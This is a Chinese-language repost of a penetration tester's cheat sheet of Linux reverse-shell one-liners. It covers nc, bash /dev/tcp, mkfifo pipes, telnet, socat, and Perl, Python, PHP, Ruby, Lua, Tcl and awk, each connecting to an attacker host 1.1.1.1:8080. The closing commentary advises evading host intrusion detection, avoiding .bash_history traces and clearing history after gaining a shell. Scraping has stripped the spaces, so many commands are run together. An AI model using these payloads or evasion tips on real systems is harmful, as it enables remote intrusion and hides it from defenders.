当前位置: 首页 > 科技观察

Linux下内网反弹技巧总结杂谈

时间:2023-03-13 08:40:38 科技观察

通常在做渗透的时候,你会“运气好”,在某些应用中遇到远程命令执行漏洞。最近,由于Java反序列化和二进制漏洞的出现,也增加了此类漏洞的数量。一般来说靠谱的公司不会直接对外暴露应用服务器,而是通过代理转发或者映射的方式。当可以执行命令的服务器可以访问公网时(这个要看具体情况,比如需要加载公网资源或者其他需要),反连接技巧就派上用场了。这里我整理一下我之前实际用过的反连接方法,纯属总结。弹跳技巧总结1、NC弹跳Nc1.1.1.18080-e/bin/bash2、Bash-socket弹跳/bin/bash-i>/dev/tcp/1.1.1.1/80800<&12>&13、Shell-socket弹跳a)exec2>&0;0<&196;exec196<>/dev/tcp/1.1.1.1/8080;sh<&196>&1962>&196b)exec5<>/dev/tcp/1.1.1.1/8080cat<&5|whilereadline;do$line2>&5>&5;done[两句执行]4.文件管道-nc/telnetrebounda)rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc1.1.1.18080>/tmp/fb)rm/tmp/backpipe;mknod/tmp/backpipep;/bin/bash0/tmp/backpipec)rm/tmp/backpipe;mknod/tmp/backpipep&&telnet1.1.1.180800/tmp/backpipe5,bash-telnet弹跳telnet1.1.1.18080|/bin/bash|telnet1.1.1.19090[另一个端口]6.socat反弹socattcp-connect:1.1.1.1:8080exec:"bash-li",pty,stderr,setsid,sigint,sane7.脚本反弹a)Perl反弹1)perl-e'useSocket;$i="1.1.1.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'2)perl-MIO-e'$p=fork;exit,if($p);$c=newIO::Socket::INET(PeerAddr,"1.1.1.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_while<>;'b)Python反弹python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'c)PHP反弹php-r'$sock=fsockopen("1.1.1.1",8080);exec("/bin/sh-i<&3>&32>&3");'d)ruby反弹ruby-rsocket-e'f=TCPSocket.open("1.1.1.1",8080).to_i;execsprintf("/bin/sh-i<&%d>&%d2>&%d",f,f,f)'2)ruby-rsocket-e'exitiffork;c=TCPSocket.new("1.1.1.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.printio.read}end'e)luabouncelua-e"require('socket');require('os');t=socket.tcp();t:connect('1.1.1.1','8080');os.execute('/bin/sh-i<&3>&32>&3');"f)tclreboundecho'sets[socket1.1.1.18080];while42{puts-nonewline$s"shell>";flush$s;gets$sc;sete"exec$c";if{![catch{set??r[eval$e]}err]}{puts$s$r};flush$s;};close$s;'|tclshg)awk反弹awk'BEGIN{s="/inet/tcp/0/1.1.1.1/8080";while(42){do{printf"shell>"|&s;s|&getlinec;if(c){while((c|&getline)>0)print$0|&s;close(c);}}while(c!="exit")close(s);}}'/dev/null8,二进制程序跳出Socket程序+命令有关执行,请参阅metasploit以获取详细信息。以上只是个人在渗透中使用过的反弹技巧。杂谈市面上有很多shell脚本和程序。以metasploit为例,它可以产生上百个shell,但经过解码后,只有以上几种。有意思的是,metasploit生成的大部分脚本弹跳程序和二进制弹跳程序都是我自己实现的system_call,而不是调用systembash或者commands。看来我做的很认真。值得一提的是,由于甲方大公司都会有HIDS保护,目前已知的HIDS要么修改bash,要么劫持glibc,要么修改系统底层(这种可能性小,出问题概率高)。当你认为可以反弹shell的时候,一定要提前认清环境,否则你执行一句bash-i或者nc,很有可能直接被hids给带走。推荐使用shell内置的rebound或者脚本型的reboundshell程序,一般hids不会记录,不建议调用系统bash命令生成rebound,至少.bash_history会妥妥的出卖你。内网壳反弹,无论是渗透还是反渗透,都是绕不开的话题。关于反弹shell有几个有意思的问题:1.反弹shell的理解:内网shell反弹的本质是和公网服务器建立连接,可以执行从公网服务器传来的命令,并返回结果。因此,反弹shell涉及两个过程:网络建立+命令执行。这两个过程是衡量回弹功能的标准。网络建立要求复杂加密(如msf:meterpreter_reverse_https等),命令执行需要尽可能绕过hids及相关记录。2.交互式shell:交互式shell是最常见的shell类型。交互式shell和非交互式shell最大的区别在于它加载了环境变量。交互式shell的使用几乎与终端相同。一般来说,远程命令执行反弹只是为了实现一个非交互式的shell。从非交互式shell升级到交互式shell的最简单方法之一是使用python脚本pty.spawn(“/bin/bash”)3.交互式shell可能并不比非交互式shell好实际渗透过程,因为有经验的甲方会对环境变量和shell终端加载文件如.bashrc、bash_profile等进行安全处理,直接升级为交互shell,更容易触发HIDS告警(的当然不是绝对的)。(ps:如果你用别人的工具弹壳,但不知道是不是交互式壳,一个简单的方法就是执行history和set命令,如果都正常返回,那就要小心了,你可能会尽快打开一个交互式shell,清除历史记录。)